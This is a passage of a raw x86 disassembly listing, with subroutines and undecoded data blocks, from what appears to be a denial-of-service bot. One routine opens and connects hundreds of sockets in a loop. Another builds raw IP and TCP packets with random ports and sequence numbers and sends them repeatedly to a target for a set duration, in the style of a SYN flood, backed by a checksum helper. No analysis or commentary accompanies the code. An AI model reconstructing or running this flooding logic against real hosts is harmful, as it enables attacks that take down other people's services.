sub_412B08+5Bj call dword_4CAECC mov eax, ebx loc_412E3B: ; CODE XREF: sub_412B08+3Bj pop edi pop ebx leave retn sub_412B08 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov esi, eax call sub_41B779 push dword ptr [esp+24h] mov ebx, eax call sub_41B779 mov edi, eax call sub_41B8E2 cdq mov ecx, 200h push edi idiv ecx push ebx push dword ptr [esp+2Ch] lea eax, [edx+esi+100h] push eax push esi call sub_412B08 add esp, 20h test eax, eax jnz short loc_412E8E push 1 pop eax loc_412E8E: ; CODE XREF: ___:00412E89j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_412E9D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6721o dd 3BCEC81h, 56530000h, 5708458Bh, 0F08B686Ah, 44BD8D59h dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h, 9C988902h dd 0FF000001h, 4CAFF415h, 0FFF88300h, 75FC4589h, 815FF5Fh dd 50004CAFh, 0FC44858Dh, 1C68FFFFh, 5000435Ch, 8995E8h dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh, 75FFFFFFh dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h dd 59FFFF84h, 0E8905759h, 22AD0C8h, 6AF44D8Dh, 0FF335104h dd 5057026Ah, 0FFF45D89h, 4CAF5415h db 0, 83h word_412F4E dw 0FFF8h ; DATA XREF: ___:off_43A184o dd 15FF5D75h, 4CAF08h, 44858D50h, 68FFFFFCh, 435BECh, 891CE850h dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h, 846CE8C8h dd 5959FFFFh, 51E89057h, 8D022AD0h, 0FFFE4885h, 15FF50FFh dd 4CAFB4h, 75FFF883h, 44858D55h, 68FFFFFCh, 435BCCh, 88B4E850h dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h, 50D875FFh dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h dd 575959FFh, 2ACFEBE8h, 106A9002h, 57E4458Dh, 856EE850h dd 0C4830000h, 45C7660Ch, 570002E4h, 0AF7415FFh, 8966004Ch dd 858DE645h, 0FFFFFE48h, 0B415FF50h, 8B004CAFh, 4270A835h dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch, 0DCE805C6h dd 0FF45004Ch, 4CAF7415h, 0D47D3900h, 0DCEAA366h, 8966004Ch dd 4CDCEC1Dh, 3D896600h, 4CDCEEh, 0DCF005C6h, 8880004Ch dd 4CDCF11Dh, 3D896600h, 4CDCF2h, 33E83074h, 8B000088h dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h dd 8E3C1D8h, 8815E8h, 6AD80300h, 0F41D8901h, 5B004CDCh dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CAFB415h dd 0DCF4A300h, 458B004Ch, 0DCF8A3E8h, 0E3E8004Ch, 99000087h dd 100B9h, 88F9F700h, 4CDCFC15h, 87D0E800h, 0B9990000h dd 100h, 1588F9F7h, 4CDCFDh, 87BDE8h, 0F0B99900h, 68000000h dd 400h, 8966F9F7h, 4CDCFE3Dh, 1D896600h, 4CDD02h, 15896642h dd 4CDD00h, 8795E8h, 0FFB99900h, 0F7000000h, 46852F9h dd 0E8004CDDh, 8430h, 8D0CC483h, 106AE445h, 1C685750h dd 68000004h, 4CDCE8h, 0FFFC75FFh, 4CAFD815h, 0FFF88300h dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 0C15FFFCh, 0FF004CB0h dd 4CAF0815h, 858D5000h, 0FFFFFE48h, 500875FFh, 435B8468h dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h, 0FFFFFC44h dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 1E89057h dd 0FF022ACEh, 15FFFC75h, 4CB00Ch, 3308458Bh, 3CC06BD2h dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 435B3868h dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh dd 97E8C875h, 59FFFF81h, 7DE85759h, 90022ACDh dword_413284 dd 0B8EC8B55h, 10320h, 888FE8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+550Fo dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 0FC15FF00h dd 89004CAEh, 858D0845h, 0FFFFFF40h, 0B415FF50h, 8B004CAFh dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 0F815FF50h dd 3B004CAFh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh dd 0FCBC858Dh, 7468FFFFh, 5000435Ch, 8589E8h, 0CC48300h dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh, 0FEC0858Dh dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh dd 0CCBEE890h, 0C33B022Ah, 408B0C74h, 8B008B0Ch, 0FC458900h dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h dd 4CAE8Ch, 0C0753B46h, 75FFDA7Ch, 2C15FF08h, 8D004CB0h dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 435C4868h, 0BBE85000h dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh, 75FFFFFFh dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h dd 59FFFF80h, 0E8905359h, 22ACBF0h dword_413410 dd 0B8EC8B55h, 10310h, 8703E8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+575Bo dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0D955E800h dd 50900225h, 8493E8h, 116A5900h, 26A026Ah, 0AFF415FFh dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h, 0C4830000h dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CAFB4h dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CAFF815h dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh, 0C868FFFFh dd 5000435Ch, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 0CB12E890h, 408B022Ah dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh, 0DBE81175h dd 99000083h, 0FFDCB9h, 42F9F700h, 0FF03EB52h, 15FFDC75h dd 4CAF74h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh, 838DE8h dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah, 106AF045h dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh dd 0FEFCF085h, 0FF5350FFh, 4CAFD815h, 0D875FF00h, 24CF02E8h dd 754E9002h, 0DC7D39CEh, 2FE8BC75h, 99000083h, 0FFDCB9h dd 42F9F700h, 7415FF52h, 66004CAFh, 0EBF24589h, 50858DA1h dd 50FFFFFFh, 0FCCC858Dh, 9C68FFFFh, 5000435Ch, 82A5E8h dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh, 50E475FFh dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h dd 575959FFh, 0C9DAE890h db 2Ah, 2 word_413626 dw 8B55h ; DATA XREF: sub_401ACD+4DECo dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h, 8D500CC4h dd 0FFFBEC85h, 5CF068FFh, 0E8500043h, 820Ah, 0C483F633h dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h, 5959FFFFh dd 3DE89056h, 5F022AC9h ; --------------------------------------------------------------------------- pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4136C5 proc near ; CODE XREF: ___:004137AEp var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_4CAF74 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_413783 push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_413710: ; CODE XREF: sub_4136C5+B9j lea esi, [ebp+var_654] mov ebx, edi loc_413718: ; CODE XREF: sub_4136C5+7Aj push 0 push 1 push 2 nop call near ptr 71AB3C22h cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_41373B lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax call near ptr 71AB155Ah nop loc_41373B: ; CODE XREF: sub_4136C5+64j add esi, 4 dec ebx jnz short loc_413718 lea esi, [ebp+var_654] mov ebx, edi loc_413749: ; CODE XREF: sub_4136C5+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] nop call near ptr 71AB3E5Dh add esi, 4 dec ebx jnz short loc_413749 push 64h nop call near ptr 26604A7h lea esi, [ebp+var_654] mov ebx, edi loc_41376D: ; CODE XREF: sub_4136C5+B4j push dword ptr [esi] nop call near ptr 71AB1A6Dh add esi, 4 dec ebx jnz short loc_41376D dec [ebp+arg_4] jnz short loc_413710 pop edi pop esi pop ebx loc_413783: ; CODE XREF: sub_4136C5+3Ej xor eax, eax leave retn sub_4136C5 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov edi, eax call sub_41B779 push dword ptr [esp+20h] mov ebx, eax call sub_41B779 mov esi, eax push esi push ebx push edi call sub_4136C5 add esp, 18h test eax, eax jnz short loc_4137BD push 1 pop eax loc_4137BD: ; CODE XREF: ___:004137B8j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_4137CC dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h ; DATA XREF: sub_401ACD+6449o dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 435D1Ch, 8064E850h dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh dd 0FFFF7BB2h, 90565959h, 2AC797E8h ; --------------------------------------------------------------------------- add bl, [edi+5Eh] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41386B proc near ; CODE XREF: ___:00413B59p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CAEE4 test eax, eax jz short loc_4138AB xor eax, eax jmp loc_413B19 ; --------------------------------------------------------------------------- loc_4138AB: ; CODE XREF: sub_41386B+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB018 cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_413B11 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4CAF54 cmp eax, 0FFFFFFFFh jz loc_413B07 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_4CAF74 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4CAF74 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4CAF74 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4CAF74 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx nop call near ptr 2770000h lea eax, [ebp+var_8] push eax call near ptr 2760981h nop push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_41D280 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_413996: ; CODE XREF: sub_41386B+25Dj ; sub_41386B+26Bj mov [ebp+var_24], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CAF74 mov [ebp+var_34], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CAF74 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CAF70 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CAF74 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC68 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC68 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4CAFD8 cmp eax, 0FFFFFFFFh jz short loc_413ADB add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax call near ptr 2760981h nop mov eax, [ebp+var_4] cmp eax, esi jg short loc_413B04 jl loc_413996 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_413B04 jmp loc_413996 ; --------------------------------------------------------------------------- loc_413ADB: ; CODE XREF: sub_41386B+247j call dword_4CAF08 push eax lea eax, [ebp+var_F4] push offset dword_435D44 push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AC add esp, 10h jmp short loc_413B07 ; --------------------------------------------------------------------------- loc_413B04: ; CODE XREF: sub_41386B+25Bj ; sub_41386B+269j mov ebx, [ebp+arg_8] loc_413B07: ; CODE XREF: sub_41386B+78j ; sub_41386B+297j push [ebp+var_C] call dword_4CB00C pop esi loc_413B11: ; CODE XREF: sub_41386B+5Bj call dword_4CAECC mov eax, ebx loc_413B19: ; CODE XREF: sub_41386B+3Bj pop edi pop ebx leave retn sub_41386B endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov esi, eax call sub_41B779 push dword ptr [esp+20h] mov ebx, eax call sub_41B779 mov edi, eax call sub_41B8E2 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_41386B add esp, 1Ch test eax, eax jnz short loc_413B68 push 1 pop eax loc_413B68: ; CODE XREF: ___:00413B63j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_413B77 db 55h ; DATA XREF: sub_401ACD+6E44o dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 7BD1h, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh dd 5DE8h, 50595900h, 0FC6C858Dh, 6468FFFFh, 5000435Dh dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h dd 3E8F075h, 59FFFF78h, 0E8905659h, 22AC3E8h, 8B555E5Fh dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh dd 6583046Ah, 0BB5E00A8h, 0FFh, 0C033066Ah, 0AC7D8D5Ah dd 0FF7C8D89h, 45C7FFFFh, 280h, 84758900h, 0C7885589h dd 88C45h, 45C70000h, 0C90h, 9445C700h, 11h, 169845C7h dd 0C7000000h, 299C45h, 45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh dd 100h, 930BE857h, 89590000h, 5057FC45h, 0AF8815FFh, 75FF004Ch dd 0F815FFFCh, 8B004CAFh, 6A530C40h, 8B026A03h, 89008B00h dd 15FFF445h, 4CAFF4h, 56D84D8Dh, 6A026A51h, 45895000h dd 5415FFFCh, 0BE004CAFh, 200h, 77D3E856h, 3D8B0000h, 4270A8h dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0AF7415FFh, 8966004Ch dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh, 0F9F7CB8Bh dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh dd 4DD45C6h, 0E8D45589h, 7B52h, 0E0458966h, 7B49E8h, 990A6A00h dd 66F9F759h, 0B095448Bh, 7415FF50h, 56004CAFh, 0E2458966h dd 0AF7415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h, 0E6A0000h dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0AFD815FFh dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h, 0FFFC75FFh dd 4CB00C15h, 58016A00h, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- byte_413E35 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+53E8o dd 440EC81h, 458B0000h, 57565308h, 0F08B686Ah, 0C0BD8D59h dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah dd 19Ch, 88C03359h, 0FFFF609Dh, 66ABF3FFh, 3D8BAAABh, 4270A8h dd 0E850D7FFh, 7A58h, 0FF6859h, 36A0000h, 15FF026Ah, 4CAFF4h dd 89FFF883h, 6675FC45h, 0AF0815FFh, 8D50004Ch, 0FFFBC085h dd 5E7C68FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh, 858D14C4h dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h dd 535959FFh, 2AC103E8h, 4D8D9002h, 51046ACCh, 5053026Ah dd 0FFCC7589h, 4CAF5415h, 0FFF88300h, 15FF6675h, 4CAF08h dd 0C0858D50h, 68FFFFFBh, 435E44h, 7958E850h, 0C4830000h dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h, 0FF54B5FFh dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh dd 9FE8FFFFh, 59FFFF74h, 0E8905359h, 22AC084h, 0FDC4858Dh dd 0FF50FFFFh, 4CAFB415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h dd 435E2468h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h dd 0E8905359h, 22AC014h, 458D106Ah, 0E85053BCh, 7598h dd 660CC483h, 2BC45C7h, 15FF5300h, 4CAF74h, 0BE458966h dd 0FDC4858Dh, 0FF50FFFFh, 4CAFB415h, 0C0458900h, 0FF085D89h dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0AF7415FFh dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h dd 80DC45C6h, 6DD45C6h, 0DE5D8966h, 73E82D74h, 8B000078h dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0AFB415FFh, 4589004Ch dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 7415FFFFh dd 66004CAFh, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h dd 7415FF52h, 68004CAFh, 12345678h, 0E8458966h, 0AF7015FFh dd 4589004Ch, 44858DECh, 68FFFFFEh, 42AB7Ch, 77EEE850h dd 85590000h, 97459C0h, 0C6F05D89h, 0EB02F545h, 44858D5Ch dd 68FFFFFEh, 42A9B8h, 77CEE850h, 85590000h, 97459C0h dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42A9B0h dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h, 1ADAF7F9h dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h dd 4CAF74h, 0F6458966h, 89E0458Bh, 458B9C45h, 66146AE4h dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h, 7415FF06h dd 66004CAFh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh dd 8147E8h, 0E8458D00h, 8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h, 66FFFF6Ah dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h, 503C6AFFh dd 0FFFC75FFh, 4CAFD815h, 0FFF88300h, 45FF0874h, 0FDBAE908h dd 75FFFFFFh, 0C15FFFCh, 0FF004CB0h, 4CAF0815h, 858D5000h dd 0FFFFFDC4h, 500875FFh, 435DD468h, 0C0858D00h, 68FFFFFBh dd 200h, 76E6E850h, 0C4830000h, 589D3918h, 75FFFFFFh, 858D5323h dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 19E85359h dd 90022ABDh, 0FFFC75FFh, 4CB00C15h, 8458B00h, 0C06BD233h dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h dd 435D8468h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h dd 90535959h, 2ABC87E8h db 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp eax, 1 mov [ebp+0Ch], esi jle short loc_4143A5 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_414397: ; CODE XREF: ___:0041439Fj movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_414397 pop edi cmp eax, 1 loc_4143A5: ; CODE XREF: ___:0041438Bj jnz short loc_4143B2 mov al, [edx] mov [ebp+0Ch], al 